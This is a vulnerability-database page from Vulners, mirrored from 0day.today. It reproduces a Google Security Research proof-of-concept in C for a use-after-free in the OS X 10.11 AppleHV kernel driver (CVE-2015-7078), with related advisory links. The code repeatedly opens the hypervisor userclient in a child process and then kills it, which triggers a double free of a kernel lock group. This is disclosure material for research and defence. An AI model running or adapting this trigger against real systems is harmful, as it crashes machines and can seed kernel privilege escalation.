Lucene search
+L

Apple Mac OSX - Kernel Hypervisor Driver Use-After-Free

🗓️ 28 Jan 2016 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 45 Views

Apple Mac OSX - Kernel Hypervisor Driver Use-After-Free vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Mac OS X 10.11.x < 10.11.2 Multiple Vulnerabilities
27 May 201600:00
–nessus
nessus
Tenable Nessus
Mac OS X 10.11.x < 10.11.2 Multiple Vulnerabilities
10 Dec 201500:00
–nessus
nessus
Tenable Nessus
Mac OS X Multiple Vulnerabilities (Security Updates 2015-005 / 2015-008)
11 Dec 201500:00
–nessus
bdu_fstec
BDU FSTEC
Mac OS X Privilege Escalation
19 Jan 201600:00
–bdu_fstec
circl
Circl
CVE-2015-7078
28 Jan 201600:00
–circl
cnvd
CNVD
Apple OS X VM Object Memory Misreference Vulnerability
13 Dec 201500:00
–cnvd
cve
CVE
CVE-2015-7078
11 Dec 201511:00
–cve
cvelist
Cvelist
CVE-2015-7078
11 Dec 201511:00
–cvelist
exploitdb
Exploit DB
Apple Mac OSX Kernel - Hypervisor Driver Use-After-Free
28 Jan 201600:00
–exploitdb
euvd
EUVD
EUVD-2015-7010
7 Oct 202500:30
–euvd
Rows per page
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=580
 
The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.
 
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
 
//ianbeer
 
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -zp -zc
 
/*
OS X Kernel UaF in hypervisor driver
 
The hv_space lock group gets an extra ref dropped (uaf) when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.
 
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
 
int go() {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }
 
  while(1) {
    io_connect_t conn;
    IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (conn == MACH_PORT_NULL) {
      printf("can't connect to service\n");
      return 0;
    }
 
    uint64_t inputScalar[16];
    size_t inputScalarCnt = 0;
 
    uint8_t inputStruct[4096];
    size_t inputStructCnt = 0;
 
    uint64_t outputScalar[16] = {0};
    uint32_t outputScalarCnt = 16;
 
    char outputStruct[4096] = {0};
    size_t outputStructCnt = 4096;
 
    kern_return_t err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
 
    IOServiceClose(conn);
  }
}
 
 
int main(int argc, char** argv) {
  pid_t child = fork();
  if (child == 0) {
    go();
  } else {
    sleep(1);
    kill(child, 9);
    int sl;
    wait(&sl);
  }
  return 0;
}

#  0day.today [2018-04-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2016 00:00Current
9.1Critical risk
Vulners AI Score9.1
EPSS0.01057
45